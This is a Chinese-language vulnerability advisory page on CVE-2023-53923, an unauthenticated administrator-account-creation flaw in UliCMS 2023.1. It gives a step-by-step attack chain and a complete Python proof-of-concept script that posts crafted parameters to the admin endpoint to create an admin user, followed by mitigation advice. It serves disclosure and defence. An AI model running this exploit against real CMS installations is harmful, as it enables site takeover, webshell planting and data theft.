IPBUF安全漏洞报告
English
CVE-2023-53923 CVSS 9.8 严重

CVE-2023-53923 UliCMS 2023.1 未授权管理员账户创建权限提升漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53923
漏洞类型
权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UliCMS 2023.1

相关标签

CVE-2023-53923权限提升UliCMS未授权访问管理员账户创建CVSS9.8关键漏洞UserController特权 escalation

漏洞概述

CVE-2023-53923是UliCMS 2023.1版本中的一个严重权限提升漏洞。该漏洞允许未经身份验证的远程攻击者通过向UliCMS管理面板发送特制的POST请求,在目标系统上创建具有完全系统访问权限的管理员账户。攻击者只需构造特定的请求参数发送到/dist/admin/index.php端点,即可绕过所有身份验证机制,生成新的管理员用户。成功利用此漏洞的攻击者将获得目标CMS系统的完全控制权,可以执行任意操作,包括修改网站内容、上传恶意文件、窃取敏感数据等。由于该漏洞无需任何认证凭证且攻击复杂度极低,CVSS评分高达9.8,属于严重级别,对互联网公开的UliCMS实例构成重大威胁。建议管理员立即采取缓解措施并关注官方安全更新。

技术细节

该漏洞存在于UliCMS 2023.1的UserController组件中。漏洞根源在于管理面板的/dist/admin/index.php入口点未能正确验证用户身份,且对用户注册功能的访问控制存在缺陷。攻击者可以通过构造包含特定参数的POST请求来触发用户创建逻辑。请求中需要包含用于标识用户角色和权限的参数,如指定role为admin或包含高权限标记。系统在处理该请求时,未能验证当前请求是否来自已认证的管理员用户,导致任何匿名访问者都能创建任意权限级别的账户。攻击者通常需要指定用户名、密码、邮箱等基本信息,并确保请求中包含能够将新用户提升为管理员角色的参数。由于缺乏CSRF令牌或其他会话验证机制,攻击可以自动化批量执行。此漏洞与CVE-2023-44487类型不同,属于业务逻辑层面的权限控制缺陷。

攻击链分析

STEP 1
步骤1
攻击者识别运行UliCMS 2023.1的目标服务器,通过HTTP响应头或页面特征确定CMS版本
STEP 2
步骤2
攻击者构造特制的POST请求,目标地址为/dist/admin/index.php,包含UserController相关参数
STEP 3
步骤3
在请求数据中设置role=admin和group_id=1等参数,指定新用户为管理员角色
STEP 4
步骤4
添加用户名、密码、邮箱等账户基本信息,无需任何会话令牌或认证凭证
STEP 5
步骤5
发送构造好的请求到目标服务器,系统未验证认证状态直接处理用户创建逻辑
STEP 6
步骤6
成功创建管理员账户后,攻击者使用该凭据登录管理后台获得完全控制权
STEP 7
步骤7
攻击者可上传webshell、修改系统配置、窃取数据库内容或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53923 PoC - UliCMS 2023.1 Unauthenticated Admin Account Creation # Target: UliCMS 2023.1 # Vulnerability: Privilege escalation via UserController target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-ulicms.com" # Crafted POST request to create admin user endpoint = f"{target_url}/dist/admin/index.php" # Parameters for admin account creation data = { "module": "users", "controller": "UserController", "action": "create", "username": "hacker_admin", "password": "P@ssw0rd123!", "email": "[email protected]", "role": "admin", "group_id": 1 } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Sending exploit to {endpoint}") print(f"[*] Target: {target_url}") try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) if response.status_code == 200: if "success" in response.text.lower() or "created" in response.text.lower(): print("[+] Admin account created successfully!") print(f"[+] Username: {data['username']}") print(f"[+] Password: {data['password']}") print(f"[*] Login at: {target_url}/dist/admin/") else: print("[-] Response received but admin creation may have failed") print(f"[-] Status: {response.status_code}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] For educational and authorized testing purposes only.")

影响范围

UliCMS 2023.1

防御指南

临时缓解措施
立即限制管理后台访问权限,将/dist/admin/路径加入网络层访问控制列表,仅允许来自受信任IP地址的访问。同时在Web服务器配置中添加临时规则阻止UserController相关参数的用户创建请求。考虑使用ModSecurity等WAF规则拦截异常POST请求模式。监控应用日志关注异常的用户创建事件。尽快应用官方发布的安全补丁或考虑临时下线受影响的UliCMS实例直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表